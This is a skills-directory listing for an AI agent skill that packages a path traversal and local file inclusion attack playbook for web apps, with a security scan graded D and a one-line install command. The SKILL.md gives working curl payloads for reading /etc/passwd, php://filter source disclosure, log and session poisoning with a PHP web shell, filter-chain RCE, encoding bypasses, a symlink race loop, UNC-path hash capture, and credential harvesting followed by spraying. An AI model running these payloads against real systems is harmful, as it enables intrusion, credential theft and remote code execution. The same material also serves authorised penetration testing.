Skip to content
Back to skills

Lfi Traversal

DSecurity

Path traversal / Local File Inclusion detection→file-read→RCE for web apps. Use when a param names a file/path/page/template/lang/download, or a response embeds file contents. Triggers - file=/page=/path=/template=/lang=/download=/include= param, ../, %2e%2e, "no such file", directory listing, download endpoint.

  • 1,278 stars
  • 0 votes
  • 0 copies
  • 4 views
  • Added August 31, 2026
ai-agentsphpbashapi

Works with

  • api

Security analysis

D42/100
  • criticalAccesses sensitive system or user directories
  • criticalAccesses sensitive system or user directories
  • criticalExfiltrates credentials via HTTP — exact pattern from Snyk ToxicSkills study
  • mediumInstalls packages at runtime which could introduce malicious dependencies

Pro shows the line behind each finding and how to fix it

Scanned November 30, 2026

npx -y skills add s0ld13rr/pentestcode --skill lfi-traversal --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Lfi Traversal?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Lfi Traversal
[![Security: D — Skills Directory](https://www.skillsdirectory.com/api/skills/s0ld13rr-lfi-traversal/badge)](https://www.skillsdirectory.com/skills/s0ld13rr-lfi-traversal)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: web-lfi-traversal
description: Path traversal / Local File Inclusion detection→file-read→RCE for web apps. Use when a param names a file/path/page/template/lang/download, or a response embeds file contents. Triggers - file=/page=/path=/template=/lang=/download=/include= param, ../, %2e%2e, "no such file", directory listing, download endpoint.
tags: [vuln_assess, exploitation]
---

# Path Traversal / LFI

## When this fires
A param selects a file/page/template/language/download, or a download/include endpoint reflects file content.

## Detect
```bash
curl 'http://<t>/?page=../../../../etc/passwd'          # classic
curl 'http://<t>/?page=%2e%2e%2f%2e%2e%2fetc%2fpasswd'  # url-encoded
curl 'http://<t>/?page=....//....//etc/passwd'          # filter-strip bypass
```
`root:x:0:0` back = traversal/LFI. Windows: `..\..\..\windows\win.ini`.

## Decide
- Reads only (traversal) → escalate to source disclosure + secrets.
- PHP `include()` (LFI) → escalate to RCE via wrappers/poisoning.
- Extension appended (`page.php`) → `php://filter` (below) or null-byte on old PHP; try `?page=../../etc/passwd%00` (PHP<5.3.4).

## Exploit → PROVE IMPACT
```bash
# source disclosure (base64 so PHP doesn't execute it):
curl 'http://<t>/?page=php://filter/convert.base64-encode/resource=index.php' | base64 -d
# high-value reads: app config/.env, DB creds, SSH keys, /proc/self/environ, /proc/self/cmdline
# LFI → RCE paths:
#  log poisoning: inject <?php system($_GET[c]);?> into UA/referer → include /var/log/apache2/access.log
#  session poisoning: write PHP into a session var → include /var/lib/php/sessions/sess_<PHPSESSID>
#  php://input / data:// (if allow_url_include) ; /proc/self/environ (older)
#  php filter chain → RCE (php_filter_chain_generator) when only file-read is available
```
**Proof required:** contents of a file the app shouldn't return (`/etc/passwd`, an .env with creds), or `id` via an LFI→RCE chain. Harvested creds → add_credential + cred_spray.

## Tooling
`nuclei -tags lfi,traversal`; `ffuf` with an LFI wordlist on the param; php_filter_chain_generator for filter-only cases.

## False positives / pitfalls
- WAF/framework normalizes `../` → try encodings, `....//`, absolute paths, or a different param.
- App sandboxes to a base dir → look for a symlink/upload you control to include.
- 200 with generic page ≠ read — confirm the actual file bytes are in the response.

## 2024-2025 additions

### PHP filter chains (RCE from file-read only)
- **php_filter_chain_generator** (2023-2024): Generates `php://filter/convert.base64-encode|convert.iconv.../resource=/etc/passwd` chains that achieve RCE via `php://filter` when only LFI (not RCE) is available. Works on PHP 8.1+ with `iconv` + `base64` + `convert.quoted-printable-encode` + `convert.iconv.UTF8.UTF16` etc.
- **Usage**: `php_filter_chain_generator --chain "<?php system('id'); ?>"` → paste resulting filter chain as `page=php://filter/.../resource=/etc/passwd`.

### New bypass encodings / techniques
- **Double/Unicode encoding**: `%252e%252e%252f` (double URL-encoded), `..%c0%af` (overlong UTF-8), `..%e0%80%af` (3-byte overlong).
- **Path normalization confusion**: `/var/www/../../etc/passwd` vs `/var/www/././../../etc/passwd` vs `//etc/passwd`.
- **Symlink race (TOCTOU)**: If app checks `realpath()` then opens — race with symlink swap. `while true; do ln -sf /etc/passwd /tmp/link; done` + rapid requests.
- **Container / K8s paths**: `/proc/self/root/etc/passwd`, `/host/etc/passwd` (if hostPath mounted), `/var/lib/kubelet/pods/.../volumes/...`.

### Windows-specific
- **Alternate Data Streams (ADS)**: `C:\windows\system32\drivers\etc\hosts:stream` — bypasses extension checks.
- **UNC paths**: `\\attacker\share\file` — SMB relay / hash capture via LFI.
- **Drive letter bypass**: `C:../../windows/win.ini` (relative to current dir).

### Tooling
- **php_filter_chain_generator** (pip install): `php_filter_chain_generator --chain '<?php system("id"); ?>'`.
- **LFI Suite** / **LFISuite**: Automated LFI detection + filter chain generation.
- **nuclei -tags lfi,traversal** (2024): `lfi-php-filter-chain`, `lfi-windows`, `traversal-encoding-bypass`.
- **dotdotpwn** (Perl): Classic traversal fuzzer with encodings.

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in ai-agents →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.